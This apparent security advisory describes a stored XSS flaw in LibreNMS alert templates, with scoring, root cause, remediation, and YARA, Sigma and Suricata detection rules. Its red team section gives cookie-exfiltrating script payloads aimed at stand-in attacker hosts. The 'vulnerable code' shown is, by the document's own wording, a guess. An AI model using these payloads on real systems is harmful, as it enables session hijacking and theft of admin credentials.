CVE-2025-55296

Executive Summary

CVE-2025-55296 is a stored Cross-Site Scripting (XSS) vulnerability in LibreNMS, a popular open-source network monitoring platform. The flaw resides in the Alert Template creation feature, allowing an authenticated user with admin privileges to inject malicious JavaScript code. When the crafted alert template is rendered (e.g., when an alert is triggered and viewed by another admin), the injected script executes in the context of the victim's browser. This can lead to session hijacking, credential theft, or further compromise of the LibreNMS instance. The vulnerability affects versions up to and including 25.6.0 and is fixed in version 25.8.0. The CVSS score is 5.5 (Medium), reflecting the need for admin privileges and user interaction, but the potential impact on confidentiality and integrity is high.

Supply Chain & Package Security

LibreNMS is a PHP-based application distributed via GitHub and Composer. The vulnerability is introduced through the application's own codebase, not a third-party package. However, administrators should verify the integrity of their LibreNMS installation by checking the SHA-256 hash of the downloaded release against the official repository. The fix in 25.8.0 involves proper output encoding and sanitization of user-supplied input in the alert template editor.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N
• Base Score: 5.5 (Medium)
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): High – An attacker must have admin-level access to the LibreNMS web interface.
• User Interaction (UI): Required – The victim (another admin) must view the malicious alert template.
• Scope (S): Unchanged – The exploit affects the same security authority (the web application).
• Confidentiality (C): High – An attacker can steal session cookies or sensitive data.
• Integrity (I): High – An attacker can modify alert templates or perform actions on behalf of the victim.
• Availability (A): None – The vulnerability does not directly impact availability.

Threat Level: Medium. The requirement for admin privileges reduces the attack surface, but the potential for lateral movement and data theft within the monitoring environment is significant.

Deep Dive & Mechanics

The vulnerability exists in the alert template creation functionality of LibreNMS. When an admin user creates or edits an alert template, the application does not properly sanitize or encode user-supplied input before storing it in the database. The template content is later rendered in the web interface when an alert is triggered or when the template is previewed.

Root Cause: The application fails to escape HTML/JavaScript special characters in the template body. This allows an attacker to inject arbitrary JavaScript code, such as <script>alert('XSS')</script>, which is stored and executed when the template is loaded.

Attack Flow:

1. An attacker with admin credentials logs into LibreNMS.
2. The attacker navigates to the Alert Templates section and creates a new template.
3. In the template body, the attacker injects malicious JavaScript, e.g., <script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script>.
4. The template is saved to the database without sanitization.
5. When another admin views the alert template (e.g., in the template list or when an alert fires), the injected script executes in their browser.
6. The attacker captures the victim's session cookie or performs actions on their behalf.

Why It Matters: LibreNMS is often used to monitor critical network infrastructure. Compromising an admin account can lead to full control over the monitoring system, enabling attackers to hide malicious activity, modify alerts, or pivot to other systems.

Vulnerable vs. Patched Code

Vulnerable Code (<= 25.6.0): The alert template editor likely outputs the template content directly without escaping. For example, in a PHP view file:

<!-- Vulnerable: direct output without escaping -->
<div class="template-body">
    <?php echo $template->body; ?>
</div>

Patched Code (>= 25.8.0): The fix involves using proper output encoding functions, such as htmlspecialchars() or a templating engine's auto-escaping feature:

<!-- Patched: escaped output -->
<div class="template-body">
    <?php echo htmlspecialchars($template->body, ENT_QUOTES, 'UTF-8'); ?>
</div>

Additionally, input validation should be applied on the server side to reject or sanitize any HTML/JavaScript content in the template body.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Admin credentials to a LibreNMS instance (version <= 25.6.0).
• Network access to the LibreNMS web interface.

Exploitation Steps:

1. Log in to LibreNMS as an admin.
2. Navigate to Alerts -> Alert Templates.
3. Click Create Alert Template.
4. In the Template Body field, enter the following payload:

   <script>
   var img = new Image();
   img.src = 'http://attacker-controlled-server.com/steal?cookie=' + encodeURIComponent(document.cookie);
   </script>
   

5. Save the template.
6. Wait for another admin to view the template (e.g., by clicking on it in the list or when an alert triggers).
7. On your attacker server, capture the incoming request containing the victim's cookies.

Alternative Payload (Session Hijacking):

<script>
document.location='http://attacker-controlled-server.com/steal?cookie='+document.cookie;
</script>

Note: Since no public exploit code is available, the above is a conceptual demonstration.

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual alert template creation or modification events in LibreNMS logs.
• Look for HTTP requests to the /alert-templates endpoint with suspicious payloads.
• Use web application firewalls (WAF) to block common XSS patterns in POST data.

Hardening:

• Upgrade to LibreNMS version 25.8.0 or later.
• Implement strict Content Security Policy (CSP) headers to mitigate XSS impact:

  Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
  

• Restrict admin account access to only necessary personnel.
• Enable multi-factor authentication (MFA) for all admin accounts.
• Regularly audit alert templates for unexpected content.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests from LibreNMS server to unknown external domains (e.g., attacker-controlled-server.com).
  • Unusual Referer headers pointing to /alert-templates pages.
• File IOCs:
  • Modified alert template entries in the database containing <script> tags.
• Log IOCs:
  • LibreNMS access logs showing POST requests to /alert-templates with long, encoded payloads.
  • Application error logs indicating failed XSS sanitization attempts.

Detection Engineering

YARA Rule

rule CVE_2025_55296_LibreNMS_XSS {
    meta:
        description = "Detects stored XSS payloads in LibreNMS alert templates"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-55296"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
    condition:
        any of them
}

Sigma Rule

title: Detection of Stored XSS in LibreNMS Alert Templates
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects creation or modification of alert templates containing JavaScript payloads
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-55296
logsource:
    category: application
    product: librenms
detection:
    selection:
        event_type: 'alert_template_created' OR 'alert_template_updated'
        template_body|contains:
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in templates (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-55296 LibreNMS Stored XSS - Outbound Cookie Exfiltration"; flow:to_server,established; content:"/steal?cookie="; http_uri; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade LibreNMS to version 25.8.0 or later. This is the only complete fix.
2. Review and clean all existing alert templates for any suspicious content. Delete any templates that contain <script> tags or event handlers.
3. Rotate all admin credentials and invalidate existing sessions.

Long-Term Mitigations:

• Implement a Content Security Policy (CSP) to restrict script execution.
• Enable input validation and output encoding for all user-supplied data.
• Conduct regular security audits of the LibreNMS configuration.
• Monitor for new CVEs and apply patches promptly.

Workaround (if upgrade is not immediately possible):

• Disable the alert template creation feature for non-essential admins.
• Use a reverse proxy (e.g., Nginx) to filter out XSS patterns in POST requests:

  location /alert-templates {
      if ($request_body ~* "<script") {
          return 403;
      }
  }
  

Valters IT
Securing Digital Frontiers